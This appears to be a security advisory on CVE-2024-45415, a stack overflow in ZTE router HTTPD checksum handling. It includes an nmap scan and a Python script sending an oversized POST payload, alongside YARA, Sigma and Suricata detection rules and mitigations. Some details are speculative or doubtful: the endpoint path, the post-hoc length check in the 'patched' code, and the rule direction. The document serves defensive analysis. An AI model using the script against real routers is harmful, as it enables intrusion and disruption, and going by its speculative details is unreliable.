CVE-2024-45415

Executive Summary

CVE-2024-45415 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting the HTTPD binary in multiple ZTE routers. The flaw resides in the check_data_integrity function, which is responsible for validating the checksum of data in POST requests. The checksum is sent encrypted in the request; the function decrypts it and stores the checksum on the stack without proper bounds checking, leading to a stack-based buffer overflow. An unauthenticated attacker can exploit this to achieve RCE as root. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for affected ZTE devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability in one component.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Potential denial of service or full control.

Threat Level: Critical. The combination of unauthenticated remote access, low complexity, and root-level RCE makes this a severe threat. Immediate mitigation is required.

Deep Dive & Mechanics

The vulnerability exists in the check_data_integrity function within the HTTPD binary of ZTE routers. This function is invoked during POST request processing to validate the integrity of submitted data. The checksum is transmitted encrypted (likely via a simple XOR or custom cipher) and is decrypted by the function. The decrypted checksum is then stored on the stack in a fixed-size buffer without any length validation. By sending an overly long encrypted checksum, an attacker can overflow the stack buffer, overwriting the return address and other critical stack data.

Attack Flow:

1. Attacker sends a crafted POST request to the router's HTTPD service.
2. The check_data_integrity function decrypts the checksum field.
3. The decrypted data is copied into a stack buffer without bounds checking.
4. The overflow corrupts the stack, allowing the attacker to control the instruction pointer.
5. With ROP (Return-Oriented Programming) or direct shellcode injection, the attacker gains a root shell.

Root Cause: Lack of input validation on the decrypted checksum length. The function assumes the decrypted data will fit within the stack buffer, but no check is performed.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code snippet and its patched version are provided.

Vulnerable Code (C):

void check_data_integrity(char *encrypted_checksum) {
    char decrypted_checksum[64]; // Fixed-size buffer
    decrypt(encrypted_checksum, decrypted_checksum); // No length check
    // ... further processing
}

Patched Code (C):

void check_data_integrity(char *encrypted_checksum, size_t encrypted_len) {
    char decrypted_checksum[64];
    size_t decrypted_len = decrypt(encrypted_checksum, encrypted_len, decrypted_checksum, sizeof(decrypted_checksum));
    if (decrypted_len > sizeof(decrypted_checksum)) {
        // Handle error, reject request
        return;
    }
    // ... further processing
}

The patched version adds a length parameter and checks that the decrypted data does not exceed the buffer size.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: ZTE router with vulnerable firmware (e.g., ZTE F660, F680, or similar).
• Attacker: Kali Linux with Python3 and pwntools.
• Network: Both on the same subnet.

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find ZTE routers with HTTPD exposed.

   nmap -p 80 --script http-title <target_ip>
   

2. Craft Payload: Create a Python script to send a malicious POST request with an oversized encrypted checksum.

   import socket
   import struct
   
   # Encrypted checksum (example, actual encryption may vary)
   payload = b"A" * 200  # Overflow buffer
   # Craft HTTP POST request
   request = (
       b"POST /cgi-bin/check_integrity HTTP/1.1\r\n"
       b"Host: 192.168.1.1\r\n"
       b"Content-Type: application/x-www-form-urlencoded\r\n"
       b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" +
       b"checksum=" + payload
   )
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(("192.168.1.1", 80))
   s.send(request)
   response = s.recv(4096)
   print(response)
   s.close()
   

3. Exploit: Run the script. If successful, the router may crash or execute arbitrary code. For RCE, replace the payload with shellcode or ROP chain.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defense)

Detection & Prevention:

• Network Monitoring: Monitor for POST requests to /cgi-bin/check_integrity with abnormally large checksum parameters.
• WAF Rules: Deploy a Web Application Firewall (WAF) to block requests where the checksum field exceeds a reasonable length (e.g., > 64 bytes).
• Firmware Updates: Apply vendor patches as soon as they are released. Since no patch exists, consider isolating affected devices.
• Intrusion Detection: Use Suricata or Snort rules to detect the exploit pattern (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /cgi-bin/check_integrity with checksum parameter > 64 bytes.
  • Unusual outbound connections from the router to external IPs on non-standard ports.
  • Repeated HTTP 500 errors or crashes in HTTPD logs.
• Host IOCs:
  • Unexpected processes running as root on the router.
  • Modified system binaries (e.g., /bin/sh replaced).
  • Presence of shell scripts or binaries in /tmp or /var/tmp.
• File IOCs:
  • Suspicious files in /var/log/ with unusual content.
  • Core dumps from HTTPD process.

Detection Engineering

YARA Rule

rule CVE_2024_45415_ZTE_Router_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-45415 in ZTE routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45415"
    strings:
        $http_post = "POST /cgi-bin/check_integrity" ascii nocase
        $checksum = "checksum=" ascii nocase
        $long_payload = /checksum=[A-Za-z0-9+\/]{65,}/  // Base64-like, >64 chars
    condition:
        $http_post and $checksum and $long_payload
}

Sigma Rule

title: CVE-2024-45415 ZTE Router Exploit Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with oversized checksum parameter targeting ZTE routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/check_integrity'
        cs-uri-query|re: 'checksum=[A-Za-z0-9+\/]{65,}'
    condition: selection
falsepositives:
    - Legitimate large checksums (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45415 ZTE Router Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/check_integrity"; http_uri;
    pcre:"/checksum=[A-Za-z0-9+\/]{65,}/";
    sid:1000001;
    rev:1;
    reference:cve,2024-45415;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Devices: Place ZTE routers behind a firewall or VPN, restricting external access to the HTTPD service.
2. Disable Remote Management: If not required, disable remote administration (WAN-side access).
3. Monitor Logs: Enable detailed logging on the router and monitor for exploit attempts.
4. Apply Patches: Check ZTE's official support page regularly for firmware updates. Since no patch exists, consider replacing the device if critical.

Long-Term Fix:

• Vendor must release a firmware update that adds bounds checking in the check_data_integrity function.
• Implement input validation for all decrypted data lengths.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the router to filter malicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert